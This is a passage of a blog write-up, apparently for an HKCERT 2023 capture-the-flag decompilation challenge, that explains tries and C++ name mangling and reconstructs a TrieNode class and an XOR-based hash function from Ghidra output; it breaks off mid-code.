&lt;p&gt;But hey, it’s just a simple lil’ trie, not a friggin standard template container or Boost/Qt library. We can do this!&lt;/p&gt;
&lt;h2 id=&quot;trie-me&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#trie-me&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Trie Me&lt;/h2&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;If you never trie, you will never know.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/there-is-no-trie-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/there-is-no-trie-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 575&quot; alt=&quot;Do or do not, there is no trie!&quot; title=&quot;If you never trie, you will never know.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/there-is-no-trie-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert23/assets/there-is-no-trie-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Let’s briefly review tries. What is a trie?&lt;/p&gt;
&lt;p&gt;Tries, or prefix trees, are data structures commonly used to efficiently store and retrieve strings. They are particularly useful for tasks like autocomplete or spell checking. The key idea behind tries is that each node in the tree represents a &lt;em&gt;prefix of a string&lt;/em&gt;, and the edges represent the &lt;em&gt;characters&lt;/em&gt; that can follow that prefix.&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;A trie containing the words: *and*, *ant*, *dad*, and *do*.&quot; href=&quot;https://trebledj.me/img/Trie-1-1920w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60 alpha-img&quot; src=&quot;https://trebledj.me/img/Trie-1-1920w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1920 / 1080&quot; alt=&quot;A trie containing the words: *and*, *ant*, *dad*, and *do*.&quot; title=&quot;A trie containing the words: *and*, *ant*, *dad*, and *do*.&quot; srcset=&quot;https://trebledj.me/img/Trie-1-256w.webp 256w, https://trebledj.me/img/Trie-1-512w.webp 512w, https://trebledj.me/img/Trie-1-1024w.webp 1024w, https://trebledj.me/img/Trie-1-1920w.webp 1920w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1920px&quot; /&gt;&lt;/a&gt;
&lt;sup&gt;Example of trie containing the words &lt;em&gt;and&lt;/em&gt;, &lt;em&gt;ant&lt;/em&gt;, &lt;em&gt;dad&lt;/em&gt;, and &lt;em&gt;do&lt;/em&gt;. Each edge represents a letter to the next prefix. (&lt;a href=&quot;https://www.boardinfinity.com/blog/trie-data-structure/&quot;&gt;Source&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In terms of matching an exact string, the complexity is similar to a hashmap: &lt;code&gt;O(n)&lt;/code&gt; insert/search time, w.r.t. the length of the string. But a hashmap is typically faster as it requires fewer operations.&lt;/li&gt;
&lt;li&gt;The power of tries comes with alphabetical ordering and prefix search (which is why they’re useful for autocomplete). Hashmaps can&#39;t do this.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;setting-up-the-structure&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#setting-up-the-structure&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Setting Up the Structure&lt;/h2&gt;
&lt;h3 id=&quot;demangling-names&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#demangling-names&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Demangling Names&lt;/h3&gt;
&lt;p&gt;Let’s start by demangling functions! This way, we’ll roughly know its name and signature—big clues, from a &lt;a class=&quot;jtag&quot; href=&quot;https://trebledj.me/tags/functional/&quot;&gt;functional&lt;/a&gt; viewpoint.&lt;/p&gt;
&lt;p&gt;In C++, function and class names are &lt;em&gt;&lt;strong&gt;mangled&lt;/strong&gt;&lt;/em&gt;. So instead of using sensible names like &lt;code&gt;TrieNode::mix&lt;/code&gt;, &lt;code&gt;std::string::substr&lt;/code&gt;, and &lt;code&gt;std::endl&lt;/code&gt;, the compiler stores hellish sequences like
&lt;code&gt;_ZN8TrieNode3mixEc&lt;/code&gt;, &lt;code&gt;_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6substrEmm&lt;/code&gt;, and &lt;code&gt;_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_&lt;/code&gt;. (Yes, &lt;code&gt;endl&lt;/code&gt; is a function.)&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Why do C++ compilers behave this way?&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;This has to do with function overloading. For example:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;C++ function overloading in action. Same name. Different parameters.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;With function overloading, names are reused. Now if the names are the same, how can the linker find and call the right function? The compiler solves this by encoding a function’s signature into its name, so that all names are unique. (We don&#39;t have this problem in plain old C, because function overloading isn’t even a concept!)&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;To demangle these cryptic monstrosities, we can throw them into online tools (e.g. demangler.com&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;) or just use a C++-enabled decompiler (e.g. Ghidra) which automatically demangles names.&lt;/p&gt;
&lt;h3 id=&quot;classy-types&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#classy-types&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Classy Types&lt;/h3&gt;
&lt;p&gt;When discussing C++, it’s hard to avoid the topic of classes. These supercharged C-structs are the basis of any object-oriented program.&lt;/p&gt;
&lt;p&gt;Looking at the demangled function names, we can identify the &lt;code&gt;TrieNode&lt;/code&gt; class. What next?&lt;/p&gt;
&lt;p&gt;There are two parts to reversing a class:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Methods/functions. How does the class behave? What does it do?
&lt;ul&gt;
&lt;li&gt;These are easy to find due to the prefix (e.g. &lt;code&gt;TrieNode::&lt;/code&gt;). Reversing their content is a different question, which we&#39;ll address in upcoming sections.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Members. What comprises a class? What is its state?
&lt;ul&gt;
&lt;li&gt;This is a tricky question to answer, as variable names are usually stripped. Careful analysis of reads/writes is required (&lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;cross references&quot;&gt;xrefs&lt;/abbr&gt; are useful!).
&lt;ul&gt;
&lt;li&gt;Is it set to only 0 or 1? And used in conditions? Probably a boolean.&lt;/li&gt;
&lt;li&gt;Is it compared to other numbers a lot and used near loops? Probably an integer representing size.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;By peeking at the &lt;code&gt;TrieNode&lt;/code&gt; constructor, we figure out that &lt;code&gt;TrieNode&lt;/code&gt; has three members.
&lt;ol&gt;
&lt;li&gt;An &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;std::unordered_map&lt;char, TrieNode*&gt;&quot;&gt;unordered map (aka hashmap) from chars to nodes&lt;/abbr&gt;. Size: 0x38 bytes. As this resembles the edges of the node, we&#39;ll call variable this &lt;code&gt;next_node&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A bool. Size: 1 byte.&lt;/li&gt;
&lt;li&gt;Another bool. Size: 1 byte.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Overall, our structure should resemble:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;namespace&lt;/span&gt; std&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// FYI, this is discouraged in actual software engineering: https://stackoverflow.com/q/1452721/10239789.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;wordhash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// return type: ???&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;TrieNode&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// Members.&lt;/span&gt;
	unordered_map&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;bool&lt;/span&gt; bool1&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;bool&lt;/span&gt; bool2&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token comment&quot;&gt;// Constructor.&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// Initialise variables. `next_node`&#39;s constructor is called automatically.&lt;/span&gt;
	&lt;span class=&quot;token function&quot;&gt;TrieNode&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; bool1&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; bool2&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// Member Initialiser List: https://cplusplus.com/articles/1vbCpfjN/&lt;/span&gt;

	&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// return type: ???&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// return type: ???&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mix&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// return type: ???&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Return types are unknown, because most compilers don&#39;t mangle them with the name. For now, they&#39;ve been substituted with &lt;code&gt;void&lt;/code&gt; and left as an exercise for the reader.&lt;/sup&gt;&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;On Struct vs. Class&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Structs are public by default. Classes are private by default.&lt;/p&gt;
&lt;p&gt;Public/private are concepts which fall under &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;object-oriented programming&quot;&gt;OOP&lt;/abbr&gt; &lt;em&gt;&lt;strong&gt;encapsulation&lt;/strong&gt;&lt;/em&gt;. With encapsulation, we bundle data and only expose certain API methods for public users, whilst hiding implementation. With a cyber analogy, this is not unlike exposing certain ports (HTTP/HTTPS) on a machine, and protecting other ports with a firewall.&lt;/p&gt;
&lt;p&gt;I chose to use &lt;code&gt;struct&lt;/code&gt; here because I&#39;m lazy and want to make members public.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; Some of them are accessed directly in &lt;code&gt;main&lt;/code&gt; anyway.&lt;/p&gt;
&lt;p&gt;Read more:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/36917400/10239789&quot;&gt;StackOverflow: Struct vs. Class&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.softwaretestinghelp.com/encapsulation-in-cpp/&quot;&gt;Encapsulation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h2 id=&quot;reversing&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#reversing&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Reversing&lt;/h2&gt;
&lt;h3 id=&quot;plagiarise-a-decompiler&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#plagiarise-a-decompiler&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Plagiarise a Decompiler&lt;/h3&gt;
&lt;p&gt;Now that we have a basic structure set up, it&#39;s time to dig deeper. We need to go from binary to source code. Hmm… that sounds like a job for… a decompiler!&lt;/p&gt;
&lt;p&gt;So let’s start with that! We can &lt;s&gt;plagiarise&lt;/s&gt; copy output from Ghidra and rewrite it to make programmatic sense.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Exercise&lt;/strong&gt;: Reverse the &lt;code&gt;wordhash&lt;/code&gt; function.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Solution&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;wordhash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; hash &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        hash &lt;span class=&quot;token operator&quot;&gt;^=&lt;/span&gt; s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; hash&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is a simple hash function which &lt;em&gt;xors&lt;/em&gt; all characters in a string. It&#39;s not a very &lt;em&gt;effective&lt;/em&gt; hasher, because it&#39;s prone to &lt;a href=&quot;https://en.wikipedia.org/wiki/Hash_collision&quot;&gt;collisions&lt;/a&gt; (also it&#39;s not &lt;a href=&quot;https://isocpp.org/wiki/faq/const-correctness&quot;&gt;const-correct&lt;/a&gt;). But eh, this is just for a CTF challenge.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;implement-the-data-structure&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#implement-the-data-structure&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Implement the Data Structure&lt;/h3&gt;
&lt;p&gt;Time to implement the core of the program: the TrieNode class. As before, we can refer to Ghidra&#39;s output.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Exercise&lt;/strong&gt;: Reverse &lt;code&gt;TrieNode::insert&lt;/code&gt;, &lt;code&gt;TrieNode::search&lt;/code&gt;, and &lt;code&gt;TrieNode::mix&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We can make good use of Ghidra&#39;s Rename, Retype, and Edit Function Signature tools to clean up the code.&lt;/li&gt;
&lt;li&gt;Ghidra sometimes loads incorrect function signatures (e.g. for &lt;code&gt;operator[]&lt;/code&gt;). You may wish to edit the signature so that it displays arguments properly.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&#39;ll leave the first two functions as an exercise for the reader. :)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mix()&lt;/code&gt; seems to be a total oddball, as tries don&#39;t usually have such a function.&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Ghidra decompilation of the TrieNode::mix function.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-1536w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-1536w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1536 / 1098&quot; alt=&quot;Ghidra decompilation of the TrieNode::mix function.&quot; title=&quot;Ghidra decompilation of the TrieNode::mix function.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-1536w.webp 1536w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1536px&quot; /&gt;&lt;/a&gt;
&lt;sup&gt;Ghidra decompilation of &lt;code&gt;TrieNode::mix()&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;&lt;code&gt;TrieNode::mix&lt;/code&gt;: Possible Solution&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mix&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	unordered_map&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; new_map&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token comment&quot;&gt;// For each edge...&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span 